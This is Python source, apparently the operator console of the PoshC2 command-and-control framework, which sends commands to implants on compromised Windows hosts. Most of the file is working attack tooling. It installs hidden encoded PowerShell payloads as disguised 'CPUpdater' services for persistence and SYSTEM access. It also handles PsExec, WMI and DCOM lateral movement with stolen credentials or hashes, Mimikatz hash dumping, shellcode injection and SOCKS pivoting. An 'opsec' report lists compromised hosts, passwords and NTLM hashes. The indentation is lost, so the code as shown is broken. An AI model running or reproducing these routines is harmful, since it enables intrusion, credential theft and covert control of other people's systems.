def readfile_with_completion(message):
readline.set_completer(filecomplete)
path = input(message)
t = tabCompleter()
t.createListCompleter(COMMANDS)
readline.set_completer(t.listCompleter)
return path
def commandloop(implant_id, user):
while (True):
try:
implant_id_orig = implant_id
t = tabCompleter()
t.createListCompleter(COMMANDS)
readline.set_completer_delims('\t')
readline.parse_and_bind("tab: complete")
readline.set_completer(t.listCompleter)
if ("-" in implant_id) or ("all" in implant_id) or (","
in implant_id):
print(Colours.GREEN)
command = input("%s> " % (implant_id))
else:
hostname = get_hostdetails(implant_id)
if hostname[15] == 'Python':
t.createListCompleter(UXCOMMANDS)
readline.set_completer_delims('\t')
readline.parse_and_bind("tab: complete")
readline.set_completer(t.listCompleter)
if hostname[15] == 'C#':
t.createListCompleter(SHARPCOMMANDS)
readline.set_completer_delims('\t')
readline.parse_and_bind("tab: complete")
readline.set_completer(t.listCompleter)
print(Colours.GREEN)
print("%s\\%s @ %s (PID:%s)" %
(hostname[11], hostname[2], hostname[3], hostname[8]))
command = input("%s> " % (implant_id))
# if "all" run through all implants get_implants()
if implant_id == "all":
if command == "back":
startup(user)
implant_split = get_implants()
if implant_split:
for implant_id in implant_split:
runcommand(command, implant_id[1])
# if "seperated list" against single uri
elif "," in implant_id:
implant_split = implant_id.split(",")
for implant_id in implant_split:
implant_id = get_randomuri(implant_id)
runcommand(command, implant_id)
# if "range" against single uri
elif "-" in implant_id:
implant_split = implant_id.split("-")
for implant_id in range(int(implant_split[0]),
int(implant_split[1]) + 1):
try:
implant_id = get_randomuri(implant_id)
runcommand(command, implant_id)
except Exception:
print("Unknown ImplantID")
# else run against single uri
else:
implant_id = get_randomuri(implant_id)
runcommand(command, implant_id)
# then run back around
commandloop(
implant_id_orig, user
) # is this required for a while loop? looks like it would lead to a stackoverflow anyway?
except Exception:
print(Colours.RED)
print(
"Error running against the selected implant ID, ensure you have typed the correct information"
)
print(Colours.END)
# traceback.print_exc()
# print ("Error: %s" % e)
time.sleep(1)
startup(user, user)
def handle_ps_command(command, user, randomuri, startup, createdaisypayload, createproxypayload):
try:
check_module_loaded("Stage2-Core.ps1", randomuri, user)
except Exception as e:
print("Error loading Stage2-Core.ps1: %s" % e)
# alias mapping
for alias in ps_alias:
if command.startswith(alias[0]):
command.replace(alias[0], alias[1])
command = command.strip()
run_autoloads(command, randomuri, user)
# opsec failures
for opsec in ps_opsec:
if opsec == command[:len(opsec)]:
print(Colours.RED)
print("**OPSEC Warning**")
impid = get_implantdetails(randomuri)
ri = input("Do you want to continue running - %s? (y/N) " % command)
if ri.lower() == "n":
command = ""
if ri == "":
command = ""
break
if command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"):
new_sleep = command.replace('set-beacon ', '')
new_sleep = new_sleep.replace('setbeacon ', '')
new_sleep = new_sleep.replace('beacon ', '').strip()
if not validate_sleep_time(new_sleep):
print(Colours.RED)
print("Invalid sleep command, please specify a time such as 50s, 10m or 1h")
print(Colours.GREEN)
else:
new_task(command, user, randomuri)
update_sleep(new_sleep, randomuri)
elif (command.startswith('label-implant')):
label = command.replace('label-implant ', '')
update_label(label, randomuri)
startup(user)
elif command.startswith("searchhelp"):
searchterm = (command).replace("searchhelp ", "")
helpful = posh_help.split('\n')
for line in helpful:
if searchterm in line.lower():
print(line)
elif (command == "back") or (command == "clear"):
startup(user)
elif command.startswith("install-servicelevel-persistencewithproxy"):
C2 = get_c2server_all()
if C2[11] == "":
startup(user, "Need to run createproxypayload first")
else:
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
C2[13], C2[11], "", "", C2[19], C2[20],
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload)
new_task(cmd, user, randomuri)
elif command.startswith("install-servicelevel-persistence"):
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
"", "", "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload)
new_task(cmd, user, randomuri)
elif command.startswith("remove-servicelevel-persistence"):
new_task("sc.exe delete CPUpdater", user, randomuri)
# psexec lateral movement
elif command.startswith("get-implantworkingdirectory"):
new_task("pwd", user, randomuri)
elif command.startswith("get-system-withproxy"):
C2 = get_c2server_all()
if C2[11] == "":
startup(user, "Need to run createproxypayload first")
else:
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
C2[13], C2[11], "", "", C2[19], C2[20],
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
new_task(cmd, user, randomuri)
cmd = "sc.exe start CPUpdaterMisc"
new_task(cmd, user, randomuri)
cmd = "sc.exe delete CPUpdaterMisc"
new_task(cmd, user, randomuri)
elif command.startswith("get-system-withdaisy"):
C2 = get_c2server_all()
daisyname = input("Payload name required: ")
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
payload = p.read()
cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload
new_task(cmd, user, randomuri)
cmd = "sc.exe start CPUpdaterMisc"
new_task(cmd, user, randomuri)
cmd = "sc.exe delete CPUpdaterMisc"
new_task(cmd, user, randomuri)
elif command.startswith("get-system"):
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
"", "", "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
new_task(cmd, user, randomuri)
cmd = "sc.exe start CPUpdaterMisc"
new_task(cmd, user, randomuri)
cmd = "sc.exe delete CPUpdaterMisc"
new_task(cmd, user, randomuri)
elif command == "quit":
ri = input("Are you sure you want to quit? (Y/n) ")
if ri.lower() == "n":
startup(user)
if ri == "":
sys.exit(0)
if ri.lower() == "y":
sys.exit(0)
elif command.startswith("invoke-psexecproxypayload"):
check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p:
payload = p.read()
params = re.compile("invoke-psexecproxypayload ", re.IGNORECASE)
params = params.sub("", command)
cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
new_task(cmd, user, randomuri)
else:
startup(user, "Need to run createproxypayload first")
elif command.startswith("invoke-psexecdaisypayload"):
check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
daisyname = input("Payload name required: ")
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
payload = p.read()
params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE)
params = params.sub("", command)
cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
new_task(cmd, user, randomuri)
else:
startup(user, "Need to run createdaisypayload first")
elif command.startswith("invoke-psexecpayload"):
check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
"", "", "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
params = re.compile("invoke-psexecpayload ", re.IGNORECASE)
params = params.sub("", command)
cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params, payload)
new_task(cmd, user, randomuri)
# wmi lateral movement
elif command.startswith("invoke-wmiproxypayload"):
check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p:
payload = p.read()
params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
params = params.sub("", command)
cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
new_task(cmd, user, randomuri)
else:
startup(user, "Need to run createproxypayload first")
elif command.startswith("invoke-wmidaisypayload"):
check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
daisyname = input("Name required: ")
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
payload = p.read()
params = re.compile("invoke-wmidaisypayload ", re.IGNORECASE)
params = params.sub("", command)
cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
new_task(cmd, user, randomuri)
else:
startup(user, "Need to run createdaisypayload first")
elif command.startswith("invoke-wmipayload"):
check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
"", "", "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
params = re.compile("invoke-wmipayload ", re.IGNORECASE)
params = params.sub("", command)
if "-credid" in command:
p = re.compile(r"-credid (\w*)")
credId = re.search(p, command)
if credId:
credId = credId.group(1)
else:
startup(user, "Please specify a credid")
creds = get_cred_by_id(credId)
if creds is None:
startup(user, "Unrecognised CredID: %s" % credId)
params = params.replace("-credid %s" % credId, "")
if creds['Password']:
params = params + "-domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password'])
else:
params = params + "-domain %s -user %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash'])
cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params, payload)
new_task(cmd, user, randomuri)
# dcom lateral movement
elif command.startswith("invoke-dcomproxypayload"):
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p:
payload = p.read()
params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
params = params.sub("", command)
p = re.compile(r'(?<=-target.).*')
target = re.search(p, command).group()
pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (target, payload)
new_task(pscommand, user, randomuri)
else:
startup(user, "Need to run createproxypayload first")
elif command.startswith("invoke-dcomdaisypayload"):
daisyname = input("Name required: ")
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
payload = p.read()
p = re.compile(r'(?<=-target.).*')
target = re.search(p, command).group()
pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload)
new_task(pscommand, user, randomuri)
else:
startup(user, "Need to run createdaisypayload first")
elif command.startswith("invoke-dcompayload"):
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
"", "", "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
p = re.compile(r'(?<=-target.).*')
target = re.search(p, command).group()
pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload)
new_task(pscommand, user, randomuri)
# runas payloads
elif command.startswith("invoke-runasdaisypayload"):
daisyname = input("Name required: ")
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p:
payload = p.read()
new_task("$proxypayload = \"%s\"" % payload, user, randomuri)
check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
check_module_loaded("NamedPipeDaisy.ps1", randomuri, user)
params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE)
params = params.sub("", command)
pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
new_task(pscommand, user, randomuri)
else:
startup(user, "Need to run createdaisypayload first")
elif command.startswith("invoke-runasproxypayload"):
C2 = get_c2server_all()
if C2[11] == "":
startup(user, "Need to run createproxypayload first")
else:
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
C2[13], C2[11], "", "", C2[19], C2[20],
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
payload = newPayload.CreateRawBase()
proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload
new_task(proxyvar, user, randomuri)
check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
check_module_loaded("NamedPipeProxy.ps1", randomuri, user)
params = re.compile("invoke-runasproxypayload ", re.IGNORECASE)
params = params.sub("", command)
pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
new_task(pscommand, user, randomuri)
elif command.startswith("invoke-runaspayload"):
check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
check_module_loaded("NamedPipe.ps1", randomuri, user)
params = re.compile("invoke-runaspayload ", re.IGNORECASE)
params = params.sub("", command)
pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
new_task(pscommand, user, randomuri)
elif command == "help" or command == "?":
print(posh_help)
elif command == "help 1":
print(posh_help1)
elif command == "help 2":
print(posh_help2)
elif command == "help 3":
print(posh_help3)
elif command == "help 4":
print(posh_help4)
elif command == "help 5":
print(posh_help5)
elif command == "help 6":
print(posh_help6)
elif command == "help 7":
print(posh_help7)
elif command == "help 8":
print(posh_help8)
elif command.startswith("get-pid"):
pid = get_implantdetails(randomuri)
print(pid[8])
elif command.startswith("upload-file"):
source = ""
destination = ""
s = ""
nothidden = False
if command == "upload-file":
source = readfile_with_completion("Location of file to upload: ")
while not os.path.isfile(source):
print("File does not exist: %s" % source)
source = readfile_with_completion("Location of file to upload: ")
destination = input("Location to upload to: ")
else:
args = argp(command)
source = args.source
destination = args.destination
nothidden = args.nothidden
try:
with open(source, "rb") as source_file:
s = source_file.read()
if s:
sourceb64 = base64.b64encode(s).decode("utf-8")
destination = destination.replace("\\", "\\\\")
print("")
print("Uploading %s to %s" % (source, destination))
if (nothidden):
uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (destination, nothidden, sourceb64)
else:
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, sourceb64)
new_task(uploadcommand, user, randomuri)
else:
print("Source file could not be read or was empty")
except Exception as e:
print("Error with source file: %s" % e)
traceback.print_exc()
elif command == "kill-implant" or command == "exit":
impid = get_implantdetails(randomuri)
ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0])
if ri.lower() == "n":
print("Implant not terminated")
if ri == "":
new_task("exit", user, randomuri)
kill_implant(randomuri)
if ri.lower() == "y":
new_task("exit", user, randomuri)
kill_implant(randomuri)
elif command.startswith("unhide-implant"):
unhide_implant(randomuri)
elif command.startswith("hide-implant"):
kill_implant(randomuri)
elif command.startswith("migrate"):
params = re.compile("migrate", re.IGNORECASE)
params = params.sub("", command)
migrate(randomuri, user, params)
elif command.startswith("loadmoduleforce"):
params = re.compile("loadmoduleforce ", re.IGNORECASE)
params = params.sub("", command)
check_module_loaded(params, randomuri, user, force=True)
elif command.startswith("loadmodule"):
params = re.compile("loadmodule ", re.IGNORECASE)
params = params.sub("", command)
check_module_loaded(params, randomuri, user)
elif command.startswith("invoke-daisychain"):
check_module_loaded("Invoke-DaisyChain.ps1", randomuri, user)
urls = get_allurls()
new_task("%s -URLs '%s'" % (command, urls), user, randomuri)
print("Now use createdaisypayload")
elif command.startswith("inject-shellcode"):
params = re.compile("inject-shellcode", re.IGNORECASE)
params = params.sub("", command)
check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
readline.set_completer(shellcodefilecomplete)
path = input("Location of shellcode file: ")
t = tabCompleter()
t.createListCompleter(COMMANDS)
readline.set_completer(t.listCompleter)
try:
shellcodefile = load_file(path)
if shellcodefile is not None:
arch = "64"
new_task("$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri)
new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri)
except Exception as e:
print("Error loading file: %s" % e)
elif command == "listmodules":
print(os.listdir("%s/Modules/" % POSHDIR))
elif command == "modulesloaded":
ml = get_implantdetails(randomuri)
print(ml[14])
elif command == "ps":
new_task("get-processlist", user, randomuri)
elif command == "hashdump":
check_module_loaded("Invoke-Mimikatz.ps1", randomuri, user)
new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", user, randomuri)
elif command == "stopdaisy":
update_label("", randomuri)
new_task(command, user, randomuri)
elif command == "stopsocks":
update_label("", randomuri)
new_task(command, user, randomuri)
elif command == "sharpsocks":
check_module_loaded("SharpSocks.ps1", randomuri, user)
import string
from random import choice
allchar = string.ascii_letters
channel = "".join(choice(allchar) for x in range(25))
sharpkey = gen_key().decode("utf-8")
sharpurls = get_sharpurls()
sharpurl = select_item("HostnameIP", "C2Server")
sharpport = select_item("ServerPort", "C2Server")
implant = get_implantdetails(randomuri)
pivot = implant[15]
if pivot != "PS":
sharpurl = input("Enter the URL for SharpSocks: ")
if (sharpport != 80 and sharpport != 443):
if (sharpurl.count("/") >= 3):
pat = re.compile(r"(?<!/)/(?!/)")
sharpurl = pat.sub(":%s/" % sharpport, str, 1)
else:
sharpurl = ("%s:%s" % (sharpurl, sharpport))
print(POSHDIR + "SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN)
ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
if ri.lower() == "n":
print("")
if ri == "":
new_task("Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls), user, randomuri)
if ri.lower() == "y":
new_task("Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls), user, randomuri)
update_label("SharpSocks", randomuri)
elif command == "history":
startup(user, get_history())
elif command.startswith("reversedns"):
params = re.compile("reversedns ", re.IGNORECASE)
params = params.sub("", command)
new_task("[System.Net.Dns]::GetHostEntry(\"%s\")" % params, user, randomuri)
elif command.startswith("createdaisypayload"):
createdaisypayload(user, startup)
elif command.startswith("createproxypayload"):
createproxypayload(user, startup)
elif command.startswith("createnewpayload"):
createproxypayload(user, startup)
else:
if command:
new_task(command, user, randomuri)
return
def startup(user, printhelp=""):
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except Exception:
print("cls")
print(chr(27) + "[2J")
print(Colours.GREEN)
print(logopic)
try:
if user is not None:
print("User: "******"%s%s" %
(user, Colours.END))
print("")
ii = get_implants()
if ii:
for i in ii:
ID = i[0]
LastSeen = i[7]
Hostname = i[3]
Domain = i[11]
DomainUser = i[2]
Arch = i[10]
PID = i[8]
Pivot = i[15]
Sleep = i[13].strip()
Label = i[16]
pivot_original = Pivot
if pivot_original.startswith("PS"):
Pivot = "PS"
elif pivot_original.startswith("C#"):
Pivot = "C#"
elif pivot_original.startswith("Python"):
Pivot = "PY"
if "Daisy" in pivot_original:
Pivot = Pivot + ";D"
if "Proxy" in pivot_original:
Pivot = Pivot + ";P"
from datetime import datetime, timedelta
LastSeenTime = datetime.strptime(LastSeen, "%d/%m/%Y %H:%M:%S")
now = datetime.now()
if (Sleep.endswith('s')):
sleep_int = int(Sleep[:-1])
elif (Sleep.endswith('m')):
sleep_int = int(Sleep[:-1]) * 60
elif (Sleep.endswith('h')):
sleep_int = int(Sleep[:-1]) * 60 * 60
else:
print(Colours.RED)
print("Incorrect sleep format: %s" % Sleep)
print(Colours.END)
continue
nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3))
nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10))
sID = "[" + str(ID) + "]"
if not Label:
sLabel = ""
else:
sLabel = "[" + Label + "]"
if nowMinus10Beacons > LastSeenTime:
print(Colours.RED +
"%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" %
(sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep,
Domain, DomainUser, Hostname, Arch, Pivot))
elif nowMinus3Beacons > LastSeenTime:
print(Colours.YELLOW +
"%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" %
(sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep,
Domain, DomainUser, Hostname, Arch, Pivot))
else:
print(Colours.GREEN +
"%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" %
(sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep,
Domain, DomainUser, Hostname, Arch, Pivot))
else:
from datetime import datetime, timedelta
now = datetime.now()
print(Colours.RED +
"No Implants as of: %s" % now.strftime("%d/%m/%Y %H:%M:%S"))
print(Colours.END + "")
if printhelp:
print(printhelp)
t = tabCompleter()
t.createListCompleter(PRECOMMANDS)
readline.set_completer_delims('\t')
readline.parse_and_bind("tab: complete")
readline.set_completer(t.listCompleter)
history = get_history_dict()
if history:
for command in history:
try:
readline.add_history(command[1])
except Exception:
pass
command = input(
"Select ImplantID or ALL or Comma Separated List (Enter to refresh):: "
)
print("")
if command:
try:
last = get_lastcommand()
if last:
if last != command:
new_commandhistory(command)
else:
new_commandhistory(command)
except Exception:
pass
command = command.strip()
if (command == "") or (command == "back") or (command == "clear"):
startup(user)
if command.startswith("output-to-html"):
generate_table("Tasks")
generate_table("C2Server")
generate_table("Creds")
generate_table("Implants")
graphviz()
time.sleep(1)
startup(user)
if command.startswith("show-urls") or command.startswith("list-urls"):
urls = get_c2urls()
urlformatted = "RandomID URL HostHeader ProxyURL ProxyUsername ProxyPassword CredentialExpiry\n"
for i in urls:
urlformatted += "%s %s %s %s %s %s %s %s \n" % (
i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7])
startup(user, urlformatted)
if command.startswith("add-autorun"):
if command == "add-autorun":
startup(user, "Please specify a module to autorun")
autorun = command.replace("add-autorun ", "")
autorun = autorun.replace("add-autorun", "")
add_autorun(autorun)
startup(user, "add-autorun: %s\r\n" % autorun)
if command.startswith("list-autorun"):
autoruns = get_autorun()
startup(user, autoruns)
if command.startswith("del-autorun"):
autorun = command.replace("del-autorun ", "")
del_autorun(autorun)
startup(user, "deleted autorun\r\n")
if command.startswith("nuke-autorun"):
del_autoruns()
startup(user, "nuked autoruns\r\n")
if (command == "automigrate-frompowershell") or (command == "am"):
startup(
user,
"automigrate not currently implemented for the Python version of PoshC2\r\n"
)
if command.startswith("show-serverinfo"):
i = get_c2server_all()
detailsformatted = "\nHostnameIP: %s\nEncKey: %s\nDomainFrontHeader: %s\nDefaultSleep: %s\nKillDate: %s\nHTTPResponse: %s\nFolderPath: %s\nServerPort: %s\nQuickCommand: %s\nDownloadURI: %s\nDefaultProxyURL: %s\nDefaultProxyUser: %s\nDefaultProxyPass: %s\nEnableSounds: %s\nAPIKEY: %s\nMobileNumber: %s\nURLS: %s\nSocksURLS: %s\nInsecure: %s\nUserAgent: %s\nReferer: %s\nAPIToken: %s\nAPIUser: %s\nEnableNotifications: %s\n" % (
i[1], i[2], i[3], i[4], i[5], i[6], i[7], i[8], i[9], i[10],
i[11], i[12], i[13], i[14], i[15], i[16], i[17], i[18], i[19],
i[20], i[21], i[22], i[23], i[24])
startup(user, detailsformatted)
if command.startswith("turnoff-notifications"):
update_item("EnableNotifications", "C2Server", "No")
startup(user, "Turned off notifications on new implant")
if command.startswith("turnon-notifications"):
update_item("EnableNotifications", "C2Server", "Yes")
startup(user, "Turned on notifications on new implant")
if command.startswith("set-clockworksmsapikey"):
cmd = command.replace("set-clockworksmsapikey ", "")
cmd = cmd.replace("set-clockworksmsapikey", "")
update_item("MobileNumber", "C2Server", cmd)
startup(user, "Updated set-clockworksmsapikey: %s\r\n" % cmd)
if command.startswith("set-clockworksmsnumber"):
cmd = command.replace("set-clockworksmsnumber ", "")
cmd = cmd.replace("set-clockworksmsnumber", "")
update_item("APIKEY", "C2Server", cmd)
startup(
user,
"Updated set-clockworksmsnumber (Restart C2 Server): %s\r\n" %
cmd)
if command.startswith("set-defaultbeacon"):
new_sleep = command.replace("set-defaultbeacon ", "")
new_sleep = new_sleep.replace("set-defaultbeacon", "")
if not validate_sleep_time(new_sleep):
print(Colours.RED)
print(
"Invalid sleep command, please specify a time such as 50s, 10m or 1h"
)
print(Colours.GREEN)
startup(user)
else:
update_item("DefaultSleep", "C2Server", new_sleep)
startup(
user,
"Updated set-defaultbeacon (Restart C2 Server): %s\r\n" %
new_sleep)
if command.startswith("opsec"):
implants = get_implants_all()
comtasks = get_tasks()
hosts = ""
uploads = ""
urls = ""
users = ""
creds = ""
hashes = ""
for i in implants:
if i[3] not in hosts:
hosts += "%s \n" % i[3]
if i[9] not in urls:
urls += "%s \n" % i[9]
for t in comtasks:
hostname = get_implantdetails(t[1])
command = t[2].lower()
output = t[3].lower()
if hostname[2] not in users:
users += "%s\\%s @ %s\n" % (hostname[11], hostname[2],
hostname[3])
if "invoke-mimikatz" in t[2] and "logonpasswords" in t[3]:
allcreds = process_mimikatz(t[3])
for cred in allcreds:
if cred is not None:
if cred[1]:
creds += cred[0] + " Password: "******"\n"
if cred[2]:
hashes += cred[0] + " : NTLM:" + cred[2] + "\n"
if "uploading file" in command:
uploadedfile = command
uploadedfile = uploadedfile.partition(
"uploading file: ")[2].strip()
filehash = uploadedfile.partition(
" with md5sum:")[2].strip()
uploadedfile = uploadedfile.partition(
" with md5sum:")[0].strip()
uploadedfile = uploadedfile.strip('"')
uploads += "%s\t%s\t%s\n" % (hostname[3], filehash,
uploadedfile)
if "installing persistence" in output:
implant_details = get_implantdetails(t[2])
line = command.replace('\n', '')
line = line.replace('\r', '')
filenameuploaded = line.rstrip().split(":", 1)[1]
uploads += "%s %s \n" % (implant_details[3],
filenameuploaded)
if "written scf file" in output:
implant_details = get_implantdetails(t[2])
uploads += "%s %s\n" % (implant_details[3],
output[output.indexof(':'):])
startup(
user,
"Users Compromised: \n%s\nHosts Compromised: \n%s\nURLs: \n%s\nFiles Uploaded: \n%s\nCredentials Compromised: \n%s\nHashes Compromised: \n%s"
% (users, hosts, urls, uploads, creds, hashes))
if command.startswith("listmodules"):
mods = ""
for modname in os.listdir("%s/Modules/" % POSHDIR):
mods += "%s\r\n" % modname
startup(user, mods)
if command.startswith("creds"):
startup(user, "creds module not implemented yet")
if (command == "pwnself") or (command == "p"):
subprocess.Popen(
["python",
"%s%s" % (PayloadsDirectory, "py_dropper.py")])
startup(user)
if (command == "tasks") or (command == "tasks "):
alltasks = ""
tasks = get_newtasks_all()
if tasks is None:
startup(user, "No tasks queued!\r\n")
else:
for task in tasks:
imname = get_implantdetails(task[1])
alltasks += "(%s) %s\r\n" % ("%s\\%s" %
(imname[11], imname[2]),
task[2])
startup(user, "Queued tasks:\r\n\r\n%s" % alltasks)
if (command == "cleartasks") or (command == "cleartasks "):
drop_newtasks()
startup(user, "Empty tasks queue\r\n")
if command.startswith("quit"):
ri = input("Are you sure you want to quit? (Y/n) ")
if ri.lower() == "n":
startup(user)
if ri == "":
sys.exit(0)
if ri.lower() == "y":
sys.exit(0)
if command.startswith("createdaisypayload"):
createdaisypayload(user, startup)
if command.startswith("createproxypayload"):
createproxypayload(user, startup)
if command.startswith("createnewpayload"):
createnewpayload(user, startup)
if (command == "?") or (command == "help"):
startup(user, pre_help)
if (command == "history") or command == "history ":
startup(user, get_history())
if command.startswith("use "):
command = command.replace("use ", "")
params = re.compile("use ", re.IGNORECASE)
command = params.sub("", command)
